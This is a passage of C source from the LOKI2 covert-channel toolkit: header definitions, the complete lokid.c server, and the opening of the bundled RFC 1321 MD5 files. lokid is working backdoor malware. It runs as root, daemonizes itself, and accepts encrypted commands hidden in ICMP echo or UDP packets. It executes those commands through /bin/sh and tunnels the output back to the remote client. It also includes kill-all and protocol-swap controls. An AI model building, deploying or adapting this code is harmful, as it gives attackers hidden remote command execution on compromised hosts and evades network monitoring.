  1686.  */
  1687.  
  1688. #define IS_GOOD_ITYPE_C(ldg)\
  1689. \
  1690. (i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
  1691.                                 ldg.ttype.icmph.icmp_type   ==   D_P_TYPE &&\
  1692.                                   ldg.ttype.icmph.icmp_id   ==    loki_id &&\
  1693.                                  ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
  1694.                                           (ldg.payload[0]   ==    L_REPLY ||\
  1695.                                            ldg.payload[0]   == L_PK_REPLY ||\
  1696.                                            ldg.payload[0]   ==      L_EOT ||\
  1697.                                            ldg.payload[0]   ==     L_QUIT ||\
  1698.                                            ldg.payload[0]   ==    L_ERR)) ==\
  1699.                                                              (1) ? (1) : (0)\
  1700. /*
  1701.  *  ICMP_ECHO daemon packet check
  1702.  */
  1703.  
  1704. #define IS_GOOD_ITYPE_D(ldg)\
  1705. \
  1706. (i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) ==          0 &&\
  1707.                                 ldg.ttype.icmph.icmp_type   ==   C_P_TYPE &&\
  1708.                                  ldg.ttype.icmph.icmp_seq   ==      L_TAG &&\
  1709.                                           (ldg.payload[0]   ==      L_REQ ||\
  1710.                                            ldg.payload[0]   ==     L_QUIT ||\
  1711.                                            ldg.payload[0]   == L_PK_REQ)) ==\
  1712.                                                              (1) ? (1) : (0)\
  1713. /*
  1714.  *  UDP client packet check
  1715.  */
  1716.  
  1717. #define IS_GOOD_UTYPE_C(ldg)\
  1718. \
  1719. (i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
  1720.                                 ldg.ttype.udph.uh_sport   ==        NL_PORT &&\
  1721.                                 ldg.ttype.udph.uh_dport   == loki_id &&\
  1722.                                         (ldg.payload[0]   ==        L_REPLY ||\
  1723.                                          ldg.payload[0]   ==          L_EOT ||\
  1724.                                          ldg.payload[0]   ==         L_QUIT ||\
  1725.                                          ldg.payload[0]   ==        L_ERR)) ==\
  1726.                                                                (1) ? (1) : (0)\
  1727. /*
  1728.  *  UDP daemon packet check.  Yikes.  We need more info here.
  1729.  */
  1730.  
  1731. #define IS_GOOD_UTYPE_D(ldg)\
  1732. \
  1733. (i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) ==              0 &&\
  1734.                                 ldg.ttype.udph.uh_dport   ==        NL_PORT &&\
  1735.                                          (ldg.payload[0]  ==         L_QUIT ||\
  1736.                                           ldg.payload[0]  ==        L_REQ)) ==\
  1737.                                                                (1) ? (1) : (0)\
  1738. /*
  1739.  *  ICMP_ECHO / ICMP_ECHOREPLY header prototype
  1740.  */
  1741.  
  1742. struct icmp_echo
  1743. {
  1744.     u_char  icmp_type;          /* 1 byte type              */
  1745.     u_char  icmp_code;          /* 1 byte code              */
  1746.     u_short icmp_cksum;         /* 2 byte checksum          */
  1747.     u_short icmp_id;            /* 2 byte identification    */
  1748.     u_short icmp_seq;           /* 2 byte sequence number   */
  1749. };
  1750.  
  1751.  
  1752. /*
  1753.  *  UDP header prototype
  1754.  */
  1755.  
  1756. struct udp
  1757. {
  1758.     u_short uh_sport;           /* 2 byte source port       */
  1759.     u_short uh_dport;           /* 2 byte destination port  */
  1760.     u_short uh_ulen;            /* 2 byte length            */
  1761.     u_short uh_sum;             /* 2 byte checksum          */
  1762. };
  1763.  
  1764.  
  1765. /*
  1766.  *  LOKI packet prototype
  1767.  */
  1768.  
  1769. struct loki
  1770. {
  1771.     struct ip iph;              /* IP header    */
  1772.     union
  1773.     {
  1774.         struct icmp_echo icmph; /* ICMP header  */
  1775.         struct udp udph;        /* UDP header   */
  1776.     }ttype;
  1777.     u_char payload[BUFSIZE];    /* data payload */
  1778. };
  1779.  
  1780. #define LOKIP_SIZE      sizeof(struct loki)
  1781. #define LP_DST          rdg.iph.ip_src
  1782.  
  1783. void blur(int, int, u_char *);          /* Symmetric encryption function    */
  1784. char *host_lookup(u_long);              /* network byte -> human readable   */
  1785. u_long name_resolve(char *);            /* human readable -> network byte   */
  1786. u_short i_check(u_short *, int);        /* Ah yes, the IP family checksum   */
  1787. int c_parse(u_char *, int *);           /* parse escaped commands [client]  */
  1788. void d_parse(u_char *, pid_t, int);     /* parse escaped commands [server]  */
  1789.                                         /* build and transmit LOKI packets  */
  1790. void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
  1791. int lokid_xmit(u_char *, u_long, int, int);
  1792. void err_exit(int, int, int, char *);   /* handle exit with reason          */
  1793. void clean_exit(int);                   /* exit cleanly                     */
  1794. void help();                            /* lala                             */
  1795. void shadow();                          /* daemonizing routine              */
  1796. void swap_t(int);                       /* swap protocols [server-side]     */
  1797. void reaper(int);                       /* prevent zombies                  */
  1798. void catch_timeout(int);                /* ALARM signal catcher             */
  1799. void client_expiry_check();             /* expire client from shm           */
  1800. void prep_shm();                        /* Prepare shm ans semaphore        */
  1801. void dump_shm();                        /* detach shm                       */
  1802. void packets_read();                    /* packets read (client)            */
  1803. void fd_status(int, int);               /* dumps fd stats                   */
  1804. #ifdef PTY
  1805. int ptym_open(char *);
  1806. int ptys_open(int, char *);
  1807. pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
  1808. #endif
  1809. #ifdef STRONG_CRYPTO
  1810. DH* generate_dh_keypair();              /* generate DH params and keypair   */
  1811. u_char *extract_bf_key(u_char *, int);  /* extract and md5 and set bf key   */
  1812. #endif
  1813.  
  1814. #endif  /* __LOKI_H__ */
  1815. <--> loki.h
  1816. <++> L2/lokid.c
  1817. /*
  1818.  * LOKI2
  1819.  *
  1820.  * [ lokid.c ]
  1821.  *
  1822.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  1823.  */
  1824.  
  1825.  
  1826. #include "loki.h"
  1827. #include "client_db.h"
  1828. #include "shm.h"
  1829.  
  1830. jmp_buf env;                            /* holds our stack frame    */
  1831. struct loki sdg, rdg;                   /* LOKI packets             */
  1832. time_t uptime   = 0;                    /* server uptime            */
  1833. u_long b_sent   = 0, p_sent = 0;        /* bytes / packets written  */
  1834. u_short c_id    = 0;                    /* client id                */
  1835. int destroy_shm = NOK;                  /* Used to mark whether or not
  1836.                                          * a process should destroy the
  1837.                                          * shm segment upon exiting.
  1838.                                          */
  1839. int verbose     = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;
  1840.  
  1841. #ifdef  STRONG_CRYPTO
  1842. extern u_char user_key[BF_KEYSIZE];
  1843. extern BF_KEY bf_key;
  1844. extern u_short ivec_salt;
  1845. DH *dh_keypair = NULL;                  /* DH public and private key */
  1846. #endif
  1847.  
  1848. #ifdef PTY
  1849. int mfd = 0;                            /* master PTY file descriptor */
  1850. #endif
  1851.  
  1852. int main(int argc, char *argv[])
  1853. {
  1854.  
  1855.     static int one       = 1, c = 0, cflags = 0;
  1856.     u_char buf1[BUFSIZE] = {0};
  1857.     pid_t pid            = 0;
  1858. #ifdef  STRONG_CRYPTO
  1859.     static int c_ind     = -1;
  1860. #endif
  1861. #ifdef  POPEN
  1862.     FILE *job            = NULL;
  1863.     char buf2[BUFSIZE]   = {0};
  1864. #endif
  1865.                                         /* ensure we have proper permissions */
  1866.     if (geteuid() || getuid()) err_exit(0, 1, 1, L_MSG_NOPRIV);
  1867.     while ((c = getopt(argc, argv, "v:p:")) != EOF)
  1868.     {
  1869.         switch (c)
  1870.         {
  1871.             case 'v':                   /* change verbosity */
  1872.                 verbose = atoi(optarg);
  1873.                 break;
  1874.  
  1875.             case 'p':                   /* choose transport protocol */
  1876.                 switch (optarg[0])
  1877.                 {
  1878.                     case 'i':           /* ICMP_ECHO / ICMP_ECHOREPLY */
  1879.                         prot = IPPROTO_ICMP;
  1880.                         break;
  1881.  
  1882.                     case 'u':           /* DNS query / reply */
  1883.                         prot = IPPROTO_UDP;
  1884.                         break;
  1885.  
  1886.                     default:
  1887.                         err_exit(1, 0, 1, "Unknown transport\n");
  1888.                 }
  1889.                 break;
  1890.  
  1891.             default:
  1892.                 err_exit(0, 0, 1, S_MSG_USAGE);
  1893.         }
  1894.     }
  1895.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  1896.         err_exit(1, 1, 1, L_MSG_SOCKET);
  1897. #ifdef  STRONG_CRYPTO                   /* ICMP only with strong crypto */
  1898.     if (prot != IPPROTO_ICMP) err_exit(0, 0, 1, L_MSG_ICMPONLY);
  1899. #else
  1900.                                         /* Child will signal parent if a
  1901.                                          * transport protcol switch is
  1902.                                          * required
  1903.                                          */
  1904.     if (signal(SIGUSR1, swap_t) == SIG_ERR)
  1905.         err_exit(1, 1, verbose, L_MSG_SIGUSR1);
  1906. #endif
  1907.  
  1908.     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1909.          err_exit(1, 1, 1, L_MSG_SOCKET);
  1910. #ifdef  DEBUG
  1911.     fprintf(stderr, "\nRaw IP socket: ");
  1912.     fd_status(ripsock, OK);
  1913. #endif
  1914.  
  1915. #ifdef  IP_HDRINCL
  1916.     if (setsockopt(ripsock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
  1917.         if (verbose) perror("Cannot set IP_HDRINCL socket option");
  1918. #endif
  1919.                                         /* power up shared memory segment and
  1920.                                          * semaphore, register dump_shm to be
  1921.                                          * called upon exit
  1922.                                          */
  1923.     prep_shm();
  1924.     if (atexit(dump_shm) == -1) err_exit(1, 1, verbose, L_MSG_ATEXIT);
  1925.  
  1926.     fprintf(stderr, L_MSG_BANNER);
  1927.     time(&uptime);                      /* server uptime timer */
  1928.  
  1929. #ifdef  STRONG_CRYPTO
  1930.                                         /* Generate DH parameters */
  1931.     if (verbose) fprintf(stderr, "\nlokid: %s", L_MSG_DHKEYGEN);
  1932.     if (!(dh_keypair = generate_dh_keypair()))
  1933.         err_exit(1, 0, verbose, L_MSG_DHKGFAIL);
  1934.     if (verbose) fprintf(stderr, "\nlokid: done.\n");
  1935. #endif
  1936. #ifndef DEBUG
  1937.     shadow();                       /* go daemon */
  1938. #endif
  1939.     destroy_shm = OK;               /* if this process exits at any point
  1940.                                      * from hereafter, mark shm as destroyed
  1941.                                      */
  1942.                                     /* Every KEY_TIMER seconds, we should
  1943.                                      * check the client_key list and see
  1944.                                      * if any entries have been idle long
  1945.                                      * enough to expire them.
  1946.                                      */
  1947.     if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
  1948.         err_exit(1, 1, verbose, L_MSG_SIGALRM);
  1949.     alarm(KEY_TIMER);
  1950.  
  1951.     if (signal(SIGCHLD, reaper) == SIG_ERR)
  1952.         err_exit(1, 1, verbose, L_MSG_SIGCHLD);
  1953.  
  1954.     for (; ;)
  1955.     {
  1956.         cflags &= ~VALIDP;              /* Blocking read */
  1957.         c = read(tsock, (struct loki *)&rdg, LOKIP_SIZE);
  1958.  
  1959.         switch (prot)
  1960.         {                               /* Is this a valid Loki packet? */
  1961.             case IPPROTO_ICMP:
  1962.                 if ((IS_GOOD_ITYPE_D(rdg)))
  1963.                 {
  1964.                     cflags |= VALIDP;
  1965.                     c_id   = rdg.ttype.icmph.icmp_id;
  1966.                 }
  1967.                 break;
  1968.  
  1969.             case IPPROTO_UDP:
  1970.                 if ((IS_GOOD_UTYPE_D(rdg)))
  1971.                 {
  1972.                     cflags |= VALIDP;
  1973.                     c_id   = rdg.ttype.udph.uh_sport;
  1974.                 }
  1975.                 break;
  1976.  
  1977.             default:
  1978.                 err_exit(1, 0, verbose, L_MSG_WIERDERR);
  1979.         }
  1980.         if (cflags & VALIDP)
  1981.         {
  1982. #ifdef  DEBUG
  1983.         fprintf(stderr, "\n[DEBUG]\t\tlokid: packet read %d bytes, type: ", c);
  1984.         PACKET_TYPE(rdg);
  1985.         DUMP_PACKET(rdg, c);
  1986. #endif
  1987.         switch (pid = fork())
  1988.             {
  1989.             case 0:
  1990.                     destroy_shm = NOK;  /* child should NOT mark segment as
  1991.                                          * destroyed when exiting...
  1992.                                          */
  1993.                                         /* TLI seems to have  problems in
  1994.                                          * passing socket file desciptors around
  1995.                                          */
  1996. #ifdef  SOLARIS
  1997.                     close(ripsock);
  1998.                     if ((ripsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  1999.                     err_exit(1, 1, 1, L_MSG_SOCKET);
  2000. #ifdef  DEBUG
  2001.                     fprintf(stderr, "\nRaw IP socket: ");
  2002.                     fd_status(ripsock, OK);
  2003. #endif  /* DEBUG */
  2004. #endif  /* SOLARIS */
  2005.                 break;
  2006.  
  2007.                 default:                /* parent will loop forever spawning
  2008.                                          * children if we do not zero rdg
  2009.                                          */
  2010.                     bzero((struct loki *)&rdg, LOKIP_SIZE);
  2011.                     cflags &= ~VALIDP;
  2012.             continue;
  2013.  
  2014.             case -1:            /* fork error */
  2015.             err_exit(1, 1, verbose, "[fatal] forking error");
  2016.             }
  2017. #ifdef  STRONG_CRYPTO
  2018.                                         /* preliminary evaluation of the pkt
  2019.                                          * to see if we have a request for the
  2020.                                          * servers public key
  2021.                                          */
  2022.             if (rdg.payload[0] == L_PK_REQ)
  2023.             {
  2024.                 if (verbose)
  2025.                 {
  2026.                     fprintf(stderr, "\nlokid: public key submission and request : %s <%d> ", host_lookup(rdg.iph.ip_dst), c_id);
  2027.                     fprintf(stderr, "\nlokid: computing shared secret");
  2028.                 }
  2029.                 DH_compute_key(buf1, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
  2030.                 if (verbose) fprintf(stderr, "\nlokid: extracting 128-bit blowfish key");
  2031.                                         /* Try to add client to client list */
  2032.                 if (((c = add_client(extract_bf_key(buf1, NOK))) == -1))
  2033.                 {
  2034. #else
  2035.                 if (((c = add_client((u_char *)NULL)) == -1))
  2036.                 {
  2037. #endif                                  /* MAX_CLIENT limit reached */
  2038.                     lokid_xmit(S_MSG_PACKED, LP_DST, L_ERR, NOCR);
  2039.                     lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2040.                     err_exit(1, 0, verbose, "\nlokid: Cannot add key\n");
  2041.                 }
  2042.  
  2043. #ifdef  STRONG_CRYPTO
  2044.                 if (verbose)
  2045.                 {
  2046.                     fprintf(stderr, "\nlokid: client <%d> added to list [%d]", c_id, c);
  2047.                     fprintf(stderr, "\nlokid: submiting my public key to client");
  2048.                 }                       /* send our public key to the client */
  2049.                 bzero((u_char *)buf1, BUFSIZE);
  2050.                 BN_bn2bin((BIGNUM *)dh_keypair -> pub_key, buf1);
  2051.  
  2052.                 lokid_xmit(buf1, LP_DST, L_PK_REPLY, NOCR);
  2053.                 lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2054.                 clean_exit(0);
  2055.             }
  2056.             bzero((u_char *)buf1, BUFSIZE);
  2057.                                         /* Control falls here when we have
  2058.                                          * a regular request packet.
  2059.                                          */
  2060.             if ((c_ind = locate_client(FIND)) == -1)
  2061.             {                           /* Cannot locate the client's entry */
  2062.                 lokid_xmit(S_MSG_UNKNOWN, LP_DST, L_ERR, NOCR);
  2063.                 lokid_xmit(buf1, LP_DST, L_EOT, NOCR);
  2064.                 err_exit(1, 0, verbose, S_MSG_UNKNOWN);
  2065.             }                           /* set expanded blowfish key */
  2066.             else BF_set_key(&bf_key, BF_KEYSIZE, user_key);
  2067. #endif
  2068.                                         /* unload payload */
  2069.            bcopy(&rdg.payload[1], buf1, BUFSIZE - 1);
  2070. #ifdef  STRONG_CRYPTO
  2071.                                         /* The IV salt is incremented in the
  2072.                                          * client prior to encryption, ergo
  2073.                                          * the server should increment before
  2074.                                          * decrypting
  2075.                                          */
  2076.             ivec_salt = update_client_salt(c_ind);
  2077. #endif
  2078.             blur(DECR, BUFSIZE - 1, buf1);
  2079.                                         /* parse escaped command */
  2080.             if (buf1[0] == '/') d_parse(buf1, pid, ripsock);
  2081. #ifdef  POPEN                           /* popen the shell command and execute
  2082.                                          * it inside of /bin/sh
  2083.                                          */
  2084.             if (!(job = popen(buf1, "r")))
  2085.                 err_exit(1, 1, verbose, "\nlokid: popen");
  2086.  
  2087.             while (fgets(buf2, BUFSIZE - 1, job))
  2088.             {
  2089.                 bcopy(buf2, buf1, BUFSIZE);
  2090.                 lokid_xmit(buf1, LP_DST, L_REPLY, OKCR);
  2091.             }
  2092.             lokid_xmit(buf1, LP_DST, L_EOT, OKCR);
  2093. #ifdef  STRONG_CRYPTO
  2094.             update_client(c_ind, p_sent, b_sent);
  2095. #else
  2096.             update_client(locate_client(FIND), p_sent, b_sent);
  2097. #endif
  2098.             clean_exit(0);              /* exit the child after sending
  2099.                                          * the last packet
  2100.                                          */
  2101. #endif
  2102. #ifdef  PTY                             /* Not implemented yet */
  2103.             fprintf(stderr, "\nmfd: %d", mfd);
  2104. #endif
  2105.         }
  2106.     }
  2107. }
  2108.  
  2109.  
  2110. /*
  2111.  *  Build and transmit Loki packets (server-side version)
  2112.  */
  2113.  
  2114. int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
  2115. {
  2116.     struct sockaddr_in sin;
  2117.     int i               = 0;
  2118.  
  2119.     bzero((struct loki *)&sdg, LOKIP_SIZE);
  2120.  
  2121.     sin.sin_family      = AF_INET;
  2122.     sin.sin_addr.s_addr = dst;
  2123.     sdg.payload[0]      = ptype;        /* set packet type */
  2124.                                         /* Do not encrypt error or public
  2125.                                          * key reply packets
  2126.                                          */
  2127.     if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);    
  2128.     bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
  2129.  
  2130.     if (prot == IPPROTO_ICMP)
  2131.     {
  2132. #ifdef  NET3                                            /* Our workaround. */
  2133.         sdg.ttype.icmph.icmp_type   = ICMP_ECHO;
  2134. #else
  2135.         sdg.ttype.icmph.icmp_type   = ICMP_ECHOREPLY;
  2136. #endif
  2137.         sdg.ttype.icmph.icmp_code   = (int)NULL;
  2138.         sdg.ttype.icmph.icmp_id     = c_id;             /* client ID */
  2139.         sdg.ttype.icmph.icmp_seq    = L_TAG;            /* Loki ID */
  2140.         sdg.ttype.icmph.icmp_cksum  =
  2141.              i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
  2142.     }
  2143.     if (prot == IPPROTO_UDP)
  2144.     {
  2145.         sdg.ttype.udph.uh_sport     = NL_PORT;
  2146.         sdg.ttype.udph.uh_dport     = rdg.ttype.udph.uh_sport;
  2147.         sdg.ttype.udph.uh_ulen      = htons(UDPH_SIZE + BUFSIZE);
  2148.         sdg.ttype.udph.uh_sum       =
  2149.              i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
  2150.     }
  2151.     sdg.iph.ip_v    = 0x4;
  2152.     sdg.iph.ip_hl   = 0x5;
  2153.     sdg.iph.ip_len  = FIX_LEN(LOKIP_SIZE);
  2154.     sdg.iph.ip_ttl  = 0x40;
  2155.     sdg.iph.ip_p    = prot;
  2156.     sdg.iph.ip_dst  = sin.sin_addr.s_addr;
  2157.  
  2158. #ifdef  SEND_PAUSE
  2159.     usleep(SEND_PAUSE);
  2160. #endif
  2161.     if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE)
  2162.     {
  2163.         if (verbose) perror("[non fatal] truncated write");
  2164.     }
  2165.     else
  2166.     {                               /* Update global stats */
  2167.         b_sent += i;
  2168.         p_sent ++;
  2169.     }
  2170.     return ((i < 0 ? 0 : i));     /* Make snocrash happy (return bytes written,
  2171.                                    * or return 0 if there was an error)
  2172.                                    */
  2173. }
  2174.  
  2175.  
  2176. /*
  2177.  *  Parse escaped commands (server-side version)
  2178.  */
  2179.  
  2180. void d_parse(u_char *buf, pid_t pid, int ripsock)
  2181. {
  2182.     u_char buf2[4 * BUFSIZE]    = {0};
  2183.     int n                       = 0, m = 0;
  2184.     u_long client_ip            = 0;
  2185.                                         /* client request for an all kill */
  2186.     if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
  2187.     {
  2188.         if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id);
  2189.         while (n < MAX_CLIENT)          /* send notification to all clients */
  2190.         {
  2191.             if ((client_ip = check_client_ip(n++, &c_id)))
  2192.             {
  2193.                 if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip));
  2194.                 lokid_xmit(buf, client_ip, L_QUIT, NOCR);
  2195.             }
  2196.         }
  2197.         if (verbose) fprintf(stderr, S_MSG_CLIENTK);
  2198.                                         /* send a SIGKILL to all the processes
  2199.                                          * in the servers group...
  2200.                                          */
  2201.         if ((kill(-pid, SIGKILL)) == -1)
  2202.             err_exit(1, 1, verbose, "[fatal] could not signal process group");
  2203.         clean_exit(0);
  2204.     }
  2205.                                         /* client is exited, remove entry
  2206.                                          * from the client list
  2207.                                          */
  2208.     if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
  2209.     {
  2210.         if ((m = locate_client(DESTROY)) == -1)
  2211.             err_exit(1, 0, verbose, S_MSG_UNKNOWN);
  2212.         else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m);
  2213.         clean_exit(0);
  2214.     }
  2215.                                         /* stat request */
  2216.     if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
  2217.     {
  2218.         bzero((u_char *)buf2, 4 * BUFSIZE);
  2219.                                         /* Ok.  This is an ugly hack to keep
  2220.                                          * packet counts in sync with the
  2221.                                          * stat request.  We know the amount
  2222.                                          * of packets we are going to send (and
  2223.                                          * therefore the byte count) in advance
  2224.                                          * so we can preload the values.
  2225.                                          */
  2226.         update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
  2227.         n = stat_client(locate_client(FIND), buf2, prot, uptime);
  2228.                                         /* breakdown payload into BUFSIZE-1
  2229.                                          * chunks, suitable for transmission
  2230.                                          */
  2231.         for (; m < n; m += (BUFSIZE - 1))
  2232.         {
  2233.             bcopy(&buf2[m], buf, BUFSIZE - 1);
  2234.             lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
  2235.         }
  2236.         lokid_xmit(buf, LP_DST, L_EOT, OKCR);
  2237.         clean_exit(0);                  /* exit the child after sending
  2238.                                          * the last packet
  2239.                                          */
  2240.     }
  2241. #ifndef     STRONG_CRYPTO               /* signal parent to change protocols */
  2242.     if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
  2243.     {
  2244.         if (kill(getppid(), SIGUSR1))
  2245.             err_exit(1, 1, verbose, "[fatal] could not signal parent");
  2246.         clean_exit(0);
  2247.     }
  2248. #endif
  2249.                                         /* unsupport/unrecognized command */
  2250.     lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
  2251.     lokid_xmit(buf2, LP_DST, L_EOT, OKCR);
  2252.  
  2253.     update_client(locate_client(FIND), p_sent, b_sent);
  2254.     clean_exit(0);
  2255. }
  2256.  
  2257.  
  2258. /*
  2259.  *  Swap transport protocols.  This is called as a result of SIGUSR1 from
  2260.  *  a child server process.
  2261.  */
  2262.  
  2263.  
  2264. void swap_t(int signo)
  2265. {
  2266.  
  2267.     int n                   = 0;
  2268.     u_long client_ip        = 0;
  2269.     struct protoent *pprot  = 0;
  2270.     char buf[BUFSIZE]       = {0};
  2271.  
  2272.     if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);
  2273.  
  2274.     while (n < MAX_CLIENT)
  2275.     {
  2276.         if ((client_ip = check_client_ip(n++, &c_id)))
  2277.         {
  2278.             fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n);
  2279.             lokid_xmit(buf, client_ip, L_REPLY, OKCR);
  2280.             lokid_xmit(buf, client_ip, L_EOT, OKCR);
  2281. /*            update_client(locate_client(FIND), p_sent, b_sent);*/
  2282.         }
  2283.     }
  2284.  
  2285.     close(tsock);
  2286.  
  2287.     prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
  2288.     if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
  2289.         err_exit(1, 1, verbose, L_MSG_SOCKET);
  2290.     pprot = getprotobynumber(prot);
  2291.     sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
  2292.     fprintf(stderr, "\n%s", buf);
  2293.  
  2294.     lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
  2295.     lokid_xmit(buf, LP_DST, L_EOT, OKCR);
  2296.     update_client(locate_client(FIND), p_sent, b_sent);
  2297.                                             /* re-establish signal handler */
  2298.     if (signal(SIGUSR1, swap_t) == SIG_ERR)
  2299.         err_exit(1, 1, verbose, L_MSG_SIGUSR1);
  2300. }
  2301.  
  2302. /* EOF */
  2303. <--> lokid.c
  2304. <++> L2/md5/Makefile
  2305. # Makefile for MD5 from rfc1321 code
  2306.  
  2307. CCF = -O -DMD=5
  2308.  
  2309. md5c.o: md5.h global.h
  2310.     gcc $(CCF) -c md5c.c
  2311.  
  2312. clean:
  2313.     rm -f *.o core
  2314. <--> md5/Makefile
  2315. <++> L2/md5/global.h
  2316. /* GLOBAL.H - RSAREF types and constants
  2317.  */
  2318.  
  2319. /* PROTOTYPES should be set to one if and only if the compiler supports
  2320.   function argument prototyping.
  2321. The following makes PROTOTYPES default to 0 if it has not already
  2322.  
  2323.  
  2324.  
  2325. Rivest                                                          [Page 7]
  2326.  
  2327. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2328.  
  2329.  
  2330.   been defined with C compiler flags.
  2331.  */
  2332. #ifndef PROTOTYPES
  2333. #define PROTOTYPES 0
  2334. #endif
  2335.  
  2336. /* POINTER defines a generic pointer type */
  2337. typedef unsigned char *POINTER;
  2338.  
  2339. /* UINT2 defines a two byte word */
  2340. typedef unsigned short int UINT2;
  2341.  
  2342. /* UINT4 defines a four byte word */
  2343. typedef unsigned long int UINT4;
  2344.  
  2345. /* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
  2346. If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
  2347.   returns an empty list.
  2348.  */
  2349. #if PROTOTYPES
  2350. #define PROTO_LIST(list) list
  2351. #else
  2352. #define PROTO_LIST(list) ()
  2353. #endif
  2354. <--> md5/global.h
  2355. <++> L2/md5/md5.h
  2356. /* MD5.H - header file for MD5C.C
  2357.  */
  2358.  
  2359. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  2360. rights reserved.
  2361.  
  2362. License to copy and use this software is granted provided that it
  2363. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  2364. Algorithm" in all material mentioning or referencing this software
  2365. or this function.
  2366.  
  2367. License is also granted to make and use derivative works provided
  2368. that such works are identified as "derived from the RSA Data
  2369. Security, Inc. MD5 Message-Digest Algorithm" in all material
  2370. mentioning or referencing the derived work.
  2371.  
  2372. RSA Data Security, Inc. makes no representations concerning either
  2373. the merchantability of this software or the suitability of this
  2374. software for any particular purpose. It is provided "as is"
  2375. without express or implied warranty of any kind.
  2376.  
  2377.  
  2378.  
  2379.  
  2380. Rivest                                                          [Page 8]
  2381.  
  2382. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2383.  
  2384.  
  2385. These notices must be retained in any copies of any part of this
  2386. documentation and/or software.
  2387.  */
  2388.  
  2389. #define MD5_HASHSIZE    16
  2390.  
  2391. /* MD5 context. */
  2392. typedef struct {
  2393.   UINT4 state[4];                                   /* state (ABCD) */
  2394.   UINT4 count[2];        /* number of bits, modulo 2^64 (lsb first) */
  2395.   unsigned char buffer[64];                         /* input buffer */
  2396. } MD5_CTX;
  2397.  
  2398. void MD5Init PROTO_LIST ((MD5_CTX *));
  2399. void MD5Update PROTO_LIST
  2400.   ((MD5_CTX *, unsigned char *, unsigned int));
  2401. void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
  2402. <--> md5/md5.h
  2403. <++> L2/md5/md5c.c
  2404. /* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
  2405.  */
  2406.  
  2407. /* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
  2408. rights reserved.
  2409.  
  2410. License to copy and use this software is granted provided that it
  2411. is identified as the "RSA Data Security, Inc. MD5 Message-Digest
  2412. Algorithm" in all material mentioning or referencing this software
  2413. or this function.
  2414.  
  2415. License is also granted to make and use derivative works provided
  2416. that such works are identified as "derived from the RSA Data
  2417. Security, Inc. MD5 Message-Digest Algorithm" in all material
  2418. mentioning or referencing the derived work.
  2419.  
  2420. RSA Data Security, Inc. makes no representations concerning either
  2421. the merchantability of this software or the suitability of this
  2422. software for any particular purpose. It is provided "as is"
  2423. without express or implied warranty of any kind.
  2424.  
  2425. These notices must be retained in any copies of any part of this
  2426. documentation and/or software.
  2427.  */
  2428.  
  2429. #include "global.h"
  2430. #include "md5.h"
  2431.  
  2432. /* Constants for MD5Transform routine.
  2433.  */
  2434.  
  2435.  
  2436. /*
  2437. Rivest                                                          [Page 9]
  2438.  
  2439. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2440. */
  2441.  
  2442. #define S11 7
  2443. #define S12 12
  2444. #define S13 17
  2445. #define S14 22
  2446. #define S21 5
  2447. #define S22 9
  2448. #define S23 14
  2449. #define S24 20
  2450. #define S31 4
  2451. #define S32 11
  2452. #define S33 16
  2453. #define S34 23
  2454. #define S41 6
  2455. #define S42 10
  2456. #define S43 15
  2457. #define S44 21
  2458.  
  2459. static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
  2460. static void Encode PROTO_LIST
  2461.   ((unsigned char *, UINT4 *, unsigned int));
  2462. static void Decode PROTO_LIST
  2463.   ((UINT4 *, unsigned char *, unsigned int));
